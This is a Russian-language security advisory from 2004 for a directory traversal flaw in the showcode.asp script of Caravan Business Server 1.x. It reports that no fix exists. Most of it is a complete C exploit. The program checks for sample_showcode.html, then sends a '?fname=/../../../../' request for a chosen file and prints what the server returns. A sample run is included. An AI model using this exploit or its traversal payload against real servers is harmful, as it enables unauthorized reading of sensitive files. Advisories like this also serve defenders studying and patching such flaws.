Дата публикации: | 05.02.2004 |
Всего просмотров: | 1312 |
Опасность: | Средняя |
Наличие исправления: | Нет |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Удаленная |
Воздействие: | Раскрытие важных данных |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | Caravan Business Server 1.x |
Уязвимые версии: Caravan Business Server и более ранние версии
Описание: Уязвимость обнаружена в Caravan Business Server. Удаленный пользователь может просматривать и записывать файлы вне Web каталога. Уязвимость обнаружена в сценарии showcode.asp. Пример/Эксплоит: /* Showcode exploit for Caravan Web server $dr_insane@pathfinder.gr 2004 $http://members.lycos.co.uk/r34ct/ ------- linux:~ # ./r34ct-wat3rf4ll http://insane test.asp Showfile exploit by Dr_insane,2004 Connecting with localhost ... Connected Testing: GET /sample_showcode.html HTTP/1.0 200 OK server localhost has the showcode.asp Sending exploit... ------- How this exploit works: ----------------------- Firstly, it will try to connect on the host you specify on port 80. If everything is Ok it will look for the file sample_showcode and if the file exists it will try to exploit it. duhh i forgot..If you want to change the server port look for the "sin.sin_port" in the code. -----------------------*/ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int own; int greek(char *host) { struct sockaddr_in sin; struct hostent *hp; hp = gethostbyname(host); if (hp==NULL) { fprintf(stderr,"Cannot find: %s\n\n",host); return 0; } memset((char*) &sin,0, sizeof(sin)); memcpy((char *) &sin.sin_addr,hp->h_addr,hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(80); own = socket(AF_INET, SOCK_STREAM, 0); if((connect(own,(struct sockaddr *) &sin, sizeof(sin))) < 0) { fprintf(stderr,"Cannot connect with %s.\n",host); return 0;} return 1; void main(int argc, char *argv[]){ char total[16384]; char *ok=NULL; char *buffer; char *ins; char *test="GET /sample_showcode.html"; char *path="?fname=/../../../../../../../../"; char *http=" HTTP/1.0\n\n"; int i; fprintf(stderr,"\nShowfile exploit by Dr_insane,2004\n"); if (argc <= 2) { printf("Usage: %s <Server> <file>\n", argv[0]); exit(1); } for(i=1;i<argc-1;i++) { fprintf(stderr,"Connecting with %s ...",argv[i]); if(greek(argv[i])) { fprintf(stderr,"Connected.\n"); strcpy(total,test); strcat(total,http); fprintf(stderr,"Testing: %s",total); send(own,total, sizeof(total),0); ins=(char *)malloc(1024); read(own,ins, 1024); ok=strstr(ins,"200"); if(ok!=NULL) { fprintf(stderr,"OK, server %s has the showcode.asp\n",argv[i]); memset(total,0,sizeof(total)); strcpy(total,test); strcat(total,path); strcat(total,argv[argc-1]); strcat(total,http); fprintf(stderr,"Sending %s",total); greek(argv[i]); send(own,total,sizeof(total),0); printf("\n*** Server: %s ***\n",argv[i]); buffer=(char *)malloc(40000); while(read(own,buffer,1)>0) printf("%s",buffer); } else { fprintf(stderr,"server %s hasn't showcode.asp...\n",argv[i]); } printf("\n"); free(buffer); free(ins); close(own); } } URL производителя: http://www.nititelecom.com/caravan/start.asp Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время. |
|
Ссылки: | Caravan bussiness Server 2.00/03D "Sample_showcode" vulnerabilities |